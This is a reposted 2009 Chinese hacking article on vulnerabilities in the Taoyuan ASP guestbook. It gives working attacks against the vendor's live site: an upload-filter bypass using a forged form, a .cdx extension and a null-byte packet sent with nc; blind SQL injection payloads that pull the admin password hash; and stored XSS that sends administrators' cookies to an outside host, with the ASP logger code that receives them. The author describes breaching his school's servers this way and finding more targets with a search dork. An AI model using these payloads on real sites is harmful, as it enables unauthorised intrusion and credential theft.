安基网 首页 IT技术 安全攻防 查看内容

深入研究桃源留言本的漏洞

2009-2-4 17:05| 投稿: security


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要:  桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统。由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的...
 桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统。由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评。桃源留言本由原来的2.0版,升级到现在的3.0版。其官方网站也是3.0版。前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本。于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少。                                           一.上传漏洞    我在网上搜索的时候,发现已经有人公布了一个上传漏洞。不过网上公布的是针对2.0版的,不全面。桃源留言本的上传漏洞其实在所有版本都存在。所有版本都有3个上传的地方:Upfile_Article.asp,Upfile_Dialog.asp,Upfile_Photo.asp.这里的上传漏洞和动力3.51的上传漏洞基本上是一样的。动网的带来了上传漏洞热潮已经过去了,相信大家对上传漏洞已经相当熟悉。不过我这里还是要提一下。来看桃源留言本最新版本3.0的Upfile_Article.asp的部分代码。for each formName in upload.file列出所有上传了的文件,一个FOR循环!set ofile=upload.file(formName) 生成一个文件对象...arrUpFileType=split(UpFileType,"|") 取得定义的可以上传的后缀名 for i=0 to ubound(arrUpFileType)if fileEXT=trim(arrUpFileType(i)) thenEnableUpload=true hoho,EnableUpload变量改变了!exit forend ifnextif fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="cer" or fileEXT="cdx" then 呵呵,都过滤了。EnableUpload=falseend ifif EnableUpload=false thenmsg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileTypeFoundErr=true hoho,FoundErr变量改变了!end if...if FoundErr<>true then 又是一个重要地方,FoundErr变量是能否上传的关键randomizeranNum=int(900*rnd)+100 生成一个随机数 filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 没改变上传文件的后缀...这里又是化境无组件上传,具体的漏洞原理分析,我不想多说了,因为有太多的人分析了。由于化境无组件上传可以同时上传多个文件,作者没有考虑到这种情况。当我们上传两个文件时,假设第一个为1.gif,第二个为2.php。因为1.gif符合可以上传的后缀名 ,变量EnableUpload=true了。当第二个文件2.php上传的时候,变量的值没有改变,而且php不在asp,aspx,cer,cdx这几种特殊情况之内,又骗过了检测, FoundErr<>true,于是2.php也会随着1.gif上传到服务器。上传1.gif是为了给2.php做掩护,第二个文件可以是除asp,aspx,cer,cdx以外的任意后缀。如果服务器支持jsp,我们也可以传jsp木马。实际上这个3.0版的的Upfile_Article.asp还是对上传漏洞又所修补,不过修补够,我们还有办法突破。因为在以前的2.0版,2.1版上面那一句是:if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then,这样我们就随便传cer,cdx后缀的asp木马了。3.0版的还真奇怪,Upfile_Article.asp和Upfile_Photo.asp都修补了一下,也就是增加了对cer,cdx后缀的过滤,但是Upfile_Dialog.asp却和2.0版2.1版的一样。因此3.0版我们可以直接对Upfile_Dialog.asp加以利用,把upload_Dialog.asp的关键部分加以修改:<body bgColor=menu leftmargin="5" topmargin="0"><form action="http://www.mytaoyuan.com/ly/Upfile_Dialog.asp" method="post" name="form1" onSubmit="return check()" enctype="multipart/form-data">  <input name="FileName" type="FILE" class="tx1" size="35"><input name="FileName1" type="FILE" class="tx1" size="35">  <input type="submit" name="Submit" value="上传">  <input name="DialogType" type="hidden" id="DialogType" value="pic"></form></body>如图1 注意后面的DialogType这个隐藏变量。HOHO,第一个文件选gif文件,第二个就把asp木马改后缀为cdx,传上去就ok了。如图2。   3.0版的Upfile_Article.asp这种修补漏洞的方法不可取。,其实自从动力漏洞公布后,很多系统又相似的漏洞,许多站长就是这么修补上传漏洞的,可惜他们并不懂得真正原理。我们构造asp .gif后缀,同样把Upload_Article.asp加以改造,上传2个文件,第一个1.gif,第2个2.asp .gif,再上传抓包保存为bao.txt,用winhex打开bao.txt,把空格对应20棏改为00(相信大家都熟练了)。再用nc提交,nc www.mytaoyuan.com 80<bao.txt,这样就把asp木马传上去。如图。较好地修补可以在upfile_Dialog.asp找到if FoundErr<>true then   randomize   ranNum=int(900*rnd)+100   filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt   ofile.SaveToFile Server.mappath(FileName)   '保存文件在FileName=SavePath & ofile.FileName下增加:FileName=Replace(FileName,Chr(0),"")即可,它过滤了00.                                      二.注入漏洞     打开留言本,发现留言本底部有一个搜索框。如图3 .   再看它的default.asp里面代码。select case option1case 1SQL="Select * From guest where "&mark&"subject like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"case 2SQL="Select * From guest where "&mark&"content like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"case 3前后对text变量没有任何过滤。如果我们再框里填上搜索词:建议' and 1=1 and '%'='查询语句变成了:'subject like '%建议' and 1=1 and '%'='%' and webid='' order by top1,lastdate desc' ,配配了单引号,于是正常返回与建议有关的内容。我对桃源留言本官方网站测试如下:建议' and 1=(select @@version) and '%'=' //看是不是sql数据库建议' and 0<>(select count(*) from register) and '%'='   //看管理员表是否存在,我怕管理员改了默认表名     建议' and 0<>(select id from register where username='admin') and '%'='  //看管理员是不是admin  建议' and (select username from register where username='风雨无阻') and '%'='//确定管理员是风雨无阻,这是从留言本是看到的建议' and 0<>(select id from register where id=1) and '%'=' //确定管理员id是否为1建议' and exists (select id from register where len(password1)=16 and id=1) and '%'=' //确定管理员密码是否也md5加密了建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))<100) and '%'='//猜密码长度了,已经知道是16位md5建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))=51) and '%'='建议' and (select top 1 id from register where id=1 and asc(mid(password1,2,1))<100) and '%'='...把16位md5密码的每一位都猜出来了,对照asc码表就确定了密码是密文:350e2cfa35948c49,可以检验一下,提交:建议' and (select password1 from register where password1='350e2cfa35948c49') and '%'='    桃源留言本的所有基本上都没过滤,再看show.asp,用来显示留言的。dsql="delete From reply where id1="&request("id")  conn.execute(dsql) rs.open "Select * from guest where ID = " & request("ID1"),conn,2,3id这个变量任何过滤,这样我们点击任意一条留言,就是注入点了。                                   三.cookies漏洞    读到login.asp,发现如下代码:response.cookies("ly").Path=cookiePathresponse.cookies("ly")("useridname")=nameresponse.cookies("ly")("useridpassword")=passif rs("level1")="管理员" then response.cookies("ly")("admin")=1 else if rs("level1")="版主" then response.cookies("ly")("admin")=2 else response.cookies("ly")("admin")=0我马上一阵高兴,cookies里的admin这个变量我们可以自己制定,这样自己不就是管理员么?修改cookies最好用桂林老兵那个修改cookies的浏览器,比较方便。但是发现没有用的。再default.asp中有:if session("useridname")<>"" then rs.open "select level1 from register where username='"&session("useridname")&"'",conn,1,1 if not rs.eof then  if rs("level1")="管理员" then session("admin")=1  if rs("level1")="版主" then session("admin")=2  if rs("level1")<>"版主" and rs("level1")<>"管理员" then session("admin")=0 else  session("admin")=0 end if这就是加了session认证。此留言本无后台,只要是管理员就可以前台进行管理操作。而每个有管理功能的页面都是这样:<%if session("admin")<>1 then response.Redirect "default.asp"%>     而且cookies中密码是明文显示的,如:useridpassword=ccc&admin=1&useridname=ccc。这样上面我们注入得到的密码也无法进行cookies欺骗,除非破解出来才行。不过这样也有个安全因素。cookies中的密码是明文,这样保密性不好,如果被人偷看了,而我们的密码又和什么邮箱,QQ密码一样,那就惨了。                                  四.跨站攻击     这个问题要比上面的严重。漏洞主要出在guest_register.asp。这里是注册定义头像的地方,定义头像可以选择系统自带头像,也可以自己上传。一个框框填些自己定义头像的地址。<input name="myface" type="text" class="input1" id="QQ3" size="30">        <br>        </font></div></td>      <td width="458" align="center"><div align="left"><iframe style="top:2px" ID="UploadFiles" src="/upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe>          <br>然后在guest_info.asp中,这里是修改自己注册信息的地方。<td width="11%"><img src="<%if rs("myface")<>"" then response.write(rs("myface")) else response.write(rs("face"))%>" width="72" id=idface ></td>。myface这个变量没有经过过滤。我们构造头像:11.gif"><script>alert('aaa啊')</script>,最后显示出来就是:<img src="/uploadfile/200902/20090204011712703.gif"><script>alert('aaa啊')</script>" width="20" height="30"><input name="myface" type="text" class="input1" id="QQ3" value="/uploadfile/200902/20090204011712703.gif">alert('aaa啊')</script>" size="30">自然就弹出两次对话框。如图4。经测试个人主页那里也可以进行跨站攻击。我们就个人主页那里填:alert('aaa">http://<script>alert('aaa啊')</script>,最后显示出来就是:<a href="alert('aaa">http://<script>alert('aaa啊')</script>" target="_blank">http://<script>alert('aaa啊')</script></a></font></div></td>我们的代码又执行了。填些qq号码那里也每过滤,不过长度有限制,不能跨站。    这样我们构造跨站之后,只要管理员看了我们发的帖子或者资料,他就中招了。前面不是谈到cookies中密码明文显示么?我们就跨站偷cookies。我们构造头像11.gif"><script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>个人主页window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)http://<script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>就行了。我们的http://webshell.com/qq156544632/下面的co.asp应该这样些:<% msg=Request.ServerVariables("QUERY_STRING")  testfile=Server.MapPath("qq156544632.txt")  set fs=server.CreateObject("scripting.filesystemobject")  set thisfile=fs.OpenTextFile(testfile,8,True,0)  thisfile.WriteLine(""&msg& "")  thisfile.close  set fs = nothing %><script language=vbscript>window.close()</script>(此代码好像是Lcx大哥原创的,在此表示感谢。)这样管理员的cookies就会写到http://webshell.com/qq156544632/156544632.txt里面。这里顺便说下,以上跨站代码用了Fso对象,所以你的http://webshell.com/必须支持FSO,window.close()这里是为了关闭http://webshell.com/qq156544632/co.asp的,以免引起怀疑。看我偷的cookies图。如图5.                                    五.其它漏洞    桃源留言本的默认数据库为mdb文件,没有任何防下载措施。在“黑客”越来越多的今天,写代码的还这样有点不应该了。后台有备份,恢复数据库的功能。假设我们得到了管理密码,能进行管理操作,如果数据库被改成了asp的,我们就随便什么地方把一句话asp木马写进他数据库,把他的数据库变成asp木马。如果数据库没改,或我们不知道数据库路径,我们就先把一句话木马写进数据库,再备份数据库。因为备份数据库默认为asa文件,假设我们备份为Databackup/langzi.asa,我们直接访问http://www.xxx.com/Databackup/langzi.asa,是不是也可以用一句话asp木马进行操作了?    看完了是不是觉得漏洞挺多啊?留言本一般再网站中起配角作用,一次许多网站管理员对留言本的脚本安全不够重视,而且留言本开发者也在安全性上不够努力。实际上任何一个微小的漏洞都有可能威胁到服务器的安全。千里之堤,溃于蚁穴。就拿我来说吧,就是通过这个留言本的漏洞,入侵了我们学校一个部门的网站,进而入侵了学校的网站,再进一步控制学校网站的服务器,最后我渗透内网,控制了学校的所有服务器。希望以后的脚本编写者一定要懂得安全第一,也希望其它的类似留言本不要出现本文所提到的漏洞。用baidu搜索"填写留言 用户登录 用户注册 发言排名 查看精华"或其它关键词就可以找到大批使用桃源留言本的网站,90%以上都存在漏洞,我瞬间就得到一批webshell。目前桃源留言本官方网站漏洞还没补,留言本系统一直供人下载,希望大家千万不要上去捆马,也不要攻击其它国内网站。    由于本人水平有限,而且是在有限的时间里粗略地看了下代码,错误遗漏在所难免。欢迎与我交流,本人qq:156544632,当然最好是上我们地《黑客X档案》地论坛去讨论。  

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部